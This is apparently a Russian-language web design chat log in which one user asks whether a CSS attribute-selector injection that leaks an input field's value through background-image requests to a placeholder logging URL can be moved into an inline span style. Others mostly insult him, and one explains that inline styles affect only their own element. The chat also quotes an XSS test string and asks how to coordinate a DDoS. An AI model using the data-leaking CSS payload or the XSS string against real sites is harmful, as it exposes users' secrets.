Привет Nail! Веб Дизайн: @dev_design Freelancer: @web_fl

времени столько нет, думал вы зная css побыстрее додумаетесь) ладно спасибо за помощь

Почему в интернете все такие смелые, уже порядка 10-ти поражаюсь.

Ну ладно, проехали.

смелым надо быть что б высказать тебе в лицо что ты несешь бред?

времени столько нет, думал вы зная css побыстрее додумаетесь) ладно спасибо за помощь

Да ни при чём твой css тут.

почему ни при чем?

мне нужно встроить именно css код в страницу чтобы получить значение поля

Ну если честно, если сравнить меня и Ilja, он еще сильнее несет дикий маразменный бред.

почему ни при чем?

Потому что, css это стили.

В бошку с пьяни поцану присипичило сайты пилить.

&

&

Стилями страницы не ломают))

я только что рассказал одну из атак

<input id="secret" name="secret" value=«???» /> <style> input[value^=a] { background-image: url(http://site/log?a); } input[value^=b] { background-image: url(http://site/log?b); } input[value^=c] { background-image: url(http://site/log?c); } </style>

я только что рассказал одну из атак

Ты хде про неё, вычитал, кинь ссылку в личку хотя-бы.

http://sedov.space/methodology/owasp-testing-guide-v4/testing-for-css-injection-otg-client-005/

Слушай, я сейчас тебя атакую если ты не прекратишь нести бред.

https://xakep.ru/2013/12/23/61798/ (CSSAR)

Какая блин атака, ты несешь ересь.

ты лучше ссылки посмотри)

если не веришь

Мне твои ссылки не нужны.

какие же вы верстальщики если не знаете web-security)

Меня просто бесит когда человек в течении 15 минут, несет одинаковую ересь.

Ну не знает тут никто про твои скрипты

Ну нафиг писать про них

вопрос был вообще не по уязвимости

Пойду поору на улице, а то сейчас меня будет бомбить.

value="<script>alert('test')"</script>"

хорошо другой вопрос

Давай ты мне скажешь cвой IP адрес, и я тебе помогу от всех проблем.

Быстренько за минут 15.

чем работа этого стиля <span style="input[value^=a] {background: yellow;}"> отличается от этого <style> input[value^=a] {background: yellow;} </style>

какие же вы верстальщики если не знаете web-security)

Ты сначала что-то в чужую страницу умудрись что-то внедрить, это раз, если сможешь тада тебе css савсем не нужен буит, бред.

Ничем.

тогда почему код в первом случае не работает, а во втором работает?

Просто у кого-то руки из задницы растут.

ты в общем сам не знаешь почему)

ток горишь

Что он несет?

<span style="input[value^=a] {background: yellow;}"> <input value="admin" /> <style> input[value^=a] { background: yellow; } </style>

А как ты тегу span пытаешся присвоить свойсво input?

Мальчик, если ты такой умный, скажи как можно устроить массивную DDOS атаку, имея 2 дедика и 3 vds? Как можно их заставить одновременно и синхроно ддосить твой ком.... сайт.

хоспади

школодудосер)

Мне 30.

#язабан

и тем не менее

Ты несешь бред.

А как ты тегу span пытаешся присвоить свойсво input?

я ответил на ваш вопрос?

<span style="input[value^=a] {background: yellow;}"> Это что вообще за параноййя?

а почему он из спана должен работать на инпуте. ?

лол

Eugene ?? Maltsev

и тем не менее

Ты вот ссылки даёшь, а читать то сам пробовал? Вот цитирую: Такая уязвимость возникает, когда приложение позволяет внедрять произведенный пользовательский CSS код или возможно каким-то образом мешать законной таблице стилей. То есть умудрись сначала внедрить))

тогда не подскажете как это <style> input[value^=a] { background: yellow; } </style> преобразовать в <span style=«$$» > ?

вот в чем задача

Порешай с этим...

Ты вот ссылки даёшь, а читать то сам пробовал? Вот цитирую: Такая уязвимость возникает, когда приложение позволяет внедрять произведенный пользовательский CSS код или возможно каким-то образом мешать законной таблице стилей. То есть умудрись сначала внедрить))

я вам уже сказал - забудьте про уязвимость (считайте что я ее нашел), задача в другом

а почему он из спана должен работать на инпуте. ?

так вот и спрашиваю возможно ли

так вот и спрашиваю возможно ли

нет

никто не может ответить

ERROR: S client not available

Нет конечно)))

то есть стиль прописанный в span не сможет взаимодействовать с другими полями страницы?

style="" действует тоок на этот элемент

нет

спасибо, вот сразу бы так)

<span style="background: yellow;">span</span>

так например

Это же азы

я не верстальщик

та даже ели логично подумать)

я тоже)0

Да не нашёл ты уязвимость, чешешь, если бы нашёл, тебе css не нужен был ваапще.))

просто думал вдруг это возможно

но это элементарно же

Да не нашёл ты уязвимость, чешешь, если бы нашёл, тебе css не нужен был ваапще.))

как скажешь

но это элементарно же

костылизация какая нибудь

value="<script>alert('test')"</script>"

такую фигню можешь запилить

xss тут не прокатит

и тем более сайт мой

сам для себя делаю чтобы потестировать

похекать

все, спасибо за ответ, удачи

в чем может быть проблема,когда открываю акардион бутстрапа,то что в нем прописано не отображается в начале коректно. Отображается в начале так:

Преждевременная оптимизация — корень всех зол

а должно так)

открой консоль, есть ошибки?

да)

какое красивое число участников:з

2047?)